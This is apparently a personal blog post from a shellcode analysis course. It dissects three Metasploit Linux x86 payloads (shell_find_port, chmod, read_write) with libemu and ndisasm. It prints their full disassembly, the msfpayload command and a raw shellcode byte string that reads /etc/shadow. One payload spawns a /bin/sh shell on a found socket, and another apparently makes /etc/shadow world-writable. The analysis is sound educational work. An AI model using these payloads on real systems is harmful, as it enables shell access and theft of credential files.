root@ubuntu:~# msfpayload linux/x86/shell_find_port S > shell_find_port root@ubuntu:~/libemu/tools/sctest$ cat shell_find_port |./sctest -vvv -Ss 10000 -G shell_find_port.dot root@ubuntu:~/libemu/tools/sctest$ dot shell_find_port.dot -Tpng -o shell_find_port.png
The above set of commands leverage the libemu library to produce a pictoral flow of the linux/x86/shell_find_port metasploit payload. Lets start with what we know. We know that the the value 0x66 represents the syscall number for a socketcall().
The value 0x66 (102 decimal) is pushed onto the stack and then EAX popped from the stack. This is an inderect way of loading 0x66 into the EAX register. We know that the socketcall() takes two values as input ie the int call and unsigned long *args from the man page. As we continue deeper into the code, we find that the getpeername() function is called. The call numbers are stored in the /usr/include/linux/net.h. A quick glance at the net.h file shows
#define SYS_GETPEERNAME 7 /* sys_getpeername(2) */
which gives us insight on why the value 7 was loaded into the bl register. see blue arrow
Upon inspection of the getpeername man page,
GETPEERNAME(2) Linux Programmer's Manual GETPEERNAME(2) NAME getpeername - get name of connected peer socket SYNOPSIS #include <sys/socket.h> int getpeername(int sockfd, struct sockaddr *addr, socklen_t *addrlen); DESCRIPTION getpeername() returns the address of the peer connected to the socket sockfd, in the buffer pointed to by addr. The addrlen argument should be initialized to indicate the amount of space pointed to by addr. On return it contains the actual size of the name returned (in bytes). The name is truncated if the buffer provided is too small.We find that that it takes in a socket file descriptor as input, a pointer to the sock address. At this point it starts to make sense what the loop is about. It goes through the various port numbers while comparing their values to the present value of 0x32b2 which is port number 12978 in decimal. It iterates through the port numbers and sets the jz flag on success while ince=reasing the ECX register.
However it doesnt make sense for a payload to just iterate through ports without having an alterior motive. At this port I used ndisasm to inspect the same code.
root@ubuntu:~/libemu/tools/sctest$ cat new_shell_find_port |ndisasm -u - 00000000 31DB xor ebx,ebx 00000002 53 push ebx 00000003 89E7 mov edi,esp 00000005 6A10 push byte +0x10 00000007 54 push esp 00000008 57 push edi 00000009 53 push ebx 0000000A 89E1 mov ecx,esp 0000000C B307 mov bl,0x7 0000000E FF01 inc dword [ecx] 00000010 6A66 push byte +0x66 00000012 58 pop eax 00000013 CD80 int 0x80 00000015 66817F02B232 cmp word [edi+0x2],0x32b2 0000001B 75F1 jnz 0xe 0000001D 5B pop ebx 0000001E 6A02 push byte +0x2 00000020 59 pop ecx 00000021 B03F mov al,0x3f 00000023 CD80 int 0x80 00000025 49 dec ecx 00000026 79F9 jns 0x21 00000028 50 push eax 00000029 682F2F7368 push dword 0x68732f2f 0000002E 682F62696E push dword 0x6e69622f 00000033 89E3 mov ebx,esp 00000035 50 push eax 00000036 53 push ebx 00000037 89E1 mov ecx,esp 00000039 99 cdq 0000003A B00B mov al,0xb 0000003C CD80 int 0x80
Basically the libemu analysis stopped on line 0000001B because I didnt open the required port during analysis. With ndsasm we're able to see the proceeding constructs of the shellcode. I found that if the code gets out of the loop (upon finding an open port) a duplicating file descriptor is called (dup2). This can be seen from the value 0x3f being loaded into the EAX register and then the syscall being made.
0000001D 5B pop ebx 0000001E 6A02 push byte +0x2 00000020 59 pop ecx 00000021 B03F mov al,0x3f 00000023 CD80 int 0x80The next portion of the code is fairly recognisable which means the payload goes ahead and spawns a /bin/sh shell on success and the syscall for execve 0xb can be seen loaded into the EAX register and the int 0x80 call made.
00000028 50 push eax 00000029 682F2F7368 push dword 0x68732f2f 0000002E 682F62696E push dword 0x6e69622f 00000033 89E3 mov ebx,esp 00000035 50 push eax 00000036 53 push ebx 00000037 89E1 mov ecx,esp 00000039 99 cdq 0000003A B00B mov al,0xb 0000003C CD80 int 0x80
Analysis of metasploit's linux/x86/chmod shellcode
The first three instructions basically load the value 15 (0xf hex) into the EAX register which is the syscall number for the chmod() function.
roman@ubuntu:~/libemu/tools/sctest$ cat chmod_shellcode |ndisasm -u - 00000000 99 cdq 00000001 6A0F push byte +0xf 00000003 58 pop eax 00000004 52 push edx 00000005 E80C000000 call dword 0x16 0000000A 2F das 0000000B 657463 gs jz 0x71 0000000E 2F das 0000000F 7368 jnc 0x79 00000011 61 popad 00000012 646F fs outsd 00000014 7700 ja 0x16 00000016 5B pop ebx 00000017 68B6010000 push dword 0x1b6 0000001C 59 pop ecx 0000001D CD80 int 0x80 0000001F 6A01 push byte +0x1 00000021 58 pop eax 00000022 CD80 int 0x80 Below is a section of the chmod man page. CHMOD(2) Linux Programmer's Manual CHMOD(2) NAME chmod, fchmod - change permissions of a file SYNOPSIS #include <sys/stat.h> int chmod(const char *path, mode_t mode); int fchmod(int fd, mode_t mode); Feature Test Macro Requirements for glibc (see feature_test_macros(7)): fchmod(): _BSD_SOURCE || _XOPEN_SOURCE >= 500 || _XOPEN_SOURCE && _XOPEN_SOURCE_EXTENDED || /* Since glibc 2.12: */ _POSIX_C_SOURCE >= 200809L DESCRIPTION These system calls change the permissions of a file. They differ only in how the file is specified:
From the manual we see that it takes two values as input. A pointer to the path of the file and the mode. After loading the values into the registers, the interrupt is called. The final portion of the code as we saw earlier id the exit routine. The screen shot below is generated from libemu and shows the order of execution.
Analysis of linux/x86/read_write metasploit shellcode
roman@ubuntu:~/SLAE$ echo -ne "\xeb\x36\xb8\x05\x00\x00\x00\x5b\x31\xc9\xcd\x80\x89\xc3\xb8 \x03\x00\x00\x00\x89\xe7\x89\xf9\xba\x00\x10\x00\x00\xcd\x80\x89\xc2\xb8\x04\x00\x00\x00\xbb \x01\x00\x00\x00\xcd\x80\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xc5\xff\xff\xff \x2f\x65\x74\x63\x2f\x73\x68\x61\x64\x6f\x77\x00" |ndisasm -u - 00000000 EB36 jmp short 0x38 00000002 B805000000 mov eax,0x5 00000007 5B pop ebx 00000008 31C9 xor ecx,ecx 0000000A CD80 int 0x80 0000000C 89C3 mov ebx,eax 0000000E B803000000 mov eax,0x3 00000013 89E7 mov edi,esp 00000015 89F9 mov ecx,edi 00000017 BA00100000 mov edx,0x1000 0000001C CD80 int 0x80 0000001E 89C2 mov edx,eax 00000020 B804000000 mov eax,0x4 00000025 BB01000000 mov ebx,0x1 0000002A CD80 int 0x80 0000002C B801000000 mov eax,0x1 00000031 BB00000000 mov ebx,0x0 00000036 CD80 int 0x80 00000038 E8C5FFFFFF call dword 0x2 0000003D 2F das 0000003E 657463 gs jz 0xa4 00000041 2F das 00000042 7368 jnc 0xac 00000044 61 popad 00000045 646F fs outsd 00000047 7700 ja 0x49
This shellcode leverages the jump call pop technique to avoid the nullbytes in the call forward if it were to jump forward. The value 5 is loaded into the EAX register which is the syscall number for open(). It takes in two variables ie *pathname and flags as shown in the manual below.
OPEN(2) Linux Programmer's Manual OPEN(2) NAME open, create - open and possibly create a file or device SYNOPSIS #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> int open(const char *pathname, int flags); int open(const char *pathname, int flags, mode_t mode); int creat(const char *pathname, mode_t mode); DESCRIPTION Given a pathname for a file, open() returns a file descriptor, a small, nonnegative integer for use in subsequent system calls (read(2), write(2), lseek(2), fcntl(2), etc.). The file descriptor returned by a successful call will be the lowest-numbered file descriptor not cur‐ rently open for the process. The value zero is loaded into the ECX register and then the call is made. 00000002 B805000000 mov eax,0x5 00000007 5B pop ebx 00000008 31C9 xor ecx,ecx 0000000A CD80 int 0x80
The next portion of the code loads the value 3 into the EAX register which is the syscall number for read() from a file descriptor. The read function takes 3 variables, the file descriptor, pointer to buffer and count which is the maximum size of the file that can be read.
READ(2) Linux Programmer's Manual READ(2) NAME read - read from a file descriptor SYNOPSIS #include <unistd.h> ssize_t read(int fd, void *buf, size_t count); DESCRIPTION read() attempts to read up to count bytes from file descriptor fd into the buffer starting at buf. If count is zero, read() returns zero and has no other results. If count is greater than SSIZE_MAX, the result is unspecified.
So this makes sense since the above function opens the file and this one reads from it up to a maximum of 4096 bytes which is the 0x1000 in hex you see loaded into the EDX register. As usual the int 0x80 shows the syscall being made after the values have been loaded.
0000000E B803000000 mov eax,0x3 00000013 89E7 mov edi,esp 00000015 89F9 mov ecx,edi 00000017 BA00100000 mov edx,0x1000 0000001C CD80 int 0x80
The next portion of the shellcode loads the value 4 into the EAX register which is the syscall number for write(). The write function like the read function takes 3 values as input ie file descriptor, a pointer to the buffer and the size of the bytes to be written
WRITE(2) Linux Programmer's Manual WRITE(2) NAME write - write to a file descriptor SYNOPSIS #include <unistd.h> ssize_t write(int fd, const void *buf, size_t count); DESCRIPTION write() writes up to count bytes from the buffer pointed buf to the file referred to by the file descriptor fd.
In the shellcode we see the value 1 loaded into the ebx register which is the file descriptor value which translates to standard output(stdout). The call is then made.
00000020 B804000000 mov eax,0x4 00000025 BB01000000 mov ebx,0x1 0000002A CD80 int 0x80
The remainder of the code is basically an exit routine which can be recognized from the value 1 being loaded into the EAX register. Zero is loaded into the EBX register and then the interrupt is called.
0000002C B801000000 mov eax,0x1 00000031 BB00000000 mov ebx,0x0 00000036 CD80 int 0x80
No comments:
Post a Comment